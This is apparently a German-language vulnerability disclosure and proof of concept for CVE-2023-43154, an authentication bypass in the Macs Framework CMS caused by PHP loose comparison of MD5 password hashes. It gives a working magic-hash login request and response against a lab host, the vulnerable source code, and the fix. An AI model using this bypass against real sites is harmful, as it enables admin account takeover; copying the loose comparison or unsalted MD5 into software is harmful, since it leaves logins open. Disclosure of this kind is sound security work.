
PoC für die Typverwechslungsschwachstelle in Mac's CMS, die zu einer Authentifizierungsumgehung und Übernahme des Administratorkontos führt.
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Beschreibung der Schwachstelle: Ein lockerer Vergleich in der isValidLogin()-Funktion führt zu einer PHP-Typenverwechslungs-Schwachstelle, die ausgenutzt werden kann, um die Authentifizierung zu umgehen und das Administratorkonto zu übernehmen.
Verwundbare Parameter: Der Benutzername und das Passwort der Benutzer im CMS.
Betroffene Produkte: Macs Framework v1.14f - Content Management System
Einschränkungen:
Benutzerinteraktion erforderlich: Keine
Referenzen: https://github.com/ally-petitt/CVE-2023-43154-PoC
Entdeckungsdatum: 7. September 2023
Gemeldet von: Ally Petitt
Das Einloggen unter der URI /index.php/main/cms/login mit dem Benutzernamen des Opferkontos und einem beliebigen Passwort, das einen Magic Hash ergibt, führt zur Authentifizierungsumgehung.
Ein Beispiel-Login ist unten dargestellt.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
Der Statuscode 200 und die Weiterleitung zu /index.php/home sind beide Anzeichen dafür, dass der Login-Versuch erfolgreich war. Das Passwort von testadmin war nicht das bei dem Login-Versuch verwendete Passwort (0gdVIdSQL8Cm). Stattdessen war es auf QNKCDZO gesetzt.
Wenn ein Benutzer versucht, sich anzumelden, wird sein eingegebenes Passwort gehasht und als Parameter an die isValidLogin()-Funktion übergeben, die von der anfänglichen login()-Funktion aufgerufen wird, wenn eine POST-Anfrage an /index.php/Main/CMS/login gestellt wird.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
Die isValidLogin()-Funktion beginnt in Zeile 83 der Datei /Application/plugins/CMS/controllers/CMS.php. Sie ist aufgrund der Verwendung von 2 statt 3 Gleichheitszeichen anfällig für eine Typenverwechslungs-Schwachstelle.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Wie in der if-Anweisung gezeigt, werden der Benutzername und das Passwort mit einem lockeren Vergleich geprüft, was zu einer PHP-Typenverwechslungs-Schwachstelle führt. Diese kann ausgenutzt werden, wenn man sich mit einem Passwort anmeldet, das einen Magic Hash ergibt, also einen Hash, der von PHP bei einem lockeren Vergleich als 0 interpretiert wird. Eine Liste solcher Passwörter findet sich hier.
Um dies auszunutzen, ist es wichtig, zunächst das Format zu verstehen, in dem $account['password'] gespeichert wird. In der Funktion zum Speichern eines neuen Benutzerkontos in Zeile 730 der genannten CMS.php-Datei wird deutlich, dass das Passwort zunächst durch eine encrypt-Funktion läuft, bevor es gespeichert wird.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Fährt man mit der Funktion fort, die aufgerufen wird, nachdem das Passwort durch encrypt gelaufen ist, wird folgender Code verwendet:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Basierend auf dem obigen Code ist ersichtlich, dass das "verschlüsselte" Passwort direkt in das users-Model des MVC-Frameworks eingefügt wurde. Schließlich ist es zum Ausnutzen dieser Schwachstelle notwendig, zu verstehen, wie die encrypt-Funktion funktioniert, da ihre Ausgabe direkt mit der Benutzereingabe verglichen wird.
private function encrypt( $string )
{
return md5($string);
}
Die encrypt-Funktion gibt den MD5-Hash des übergebenen Strings zurück. Das bedeutet, dass bei Aufruf der login()-Funktion mit den vom Benutzer bereitgestellten Anmeldeinformationen das eingegebene Passwort gehasht und mit dem gespeicherten MD5-Hash des Opferkontos verglichen wird.
Die Konsequenz ist, dass bei Verwendung eines Passworts, das zu einer PHP-Kollision oder einem Magic Hash führt, dieses als äquivalent registriert wird, wenn es mit einem gespeicherten Passwort verglichen wird, das ebenfalls dem Format eines Magic Hashes folgt. Infolgedessen kann eine sehr große Anzahl von Passwörtern verwendet werden, um sich am Administratorkonto zu authentifizieren und es zu übernehmen, selbst wenn das ursprüngliche Passwort nicht bekannt ist.
Diese Schwachstelle kann behoben werden, indem der lockere Vergleich in der isValidLogin()-Funktion durch einen strikten Vergleich ersetzt wird, also == durch === ersetzt wird.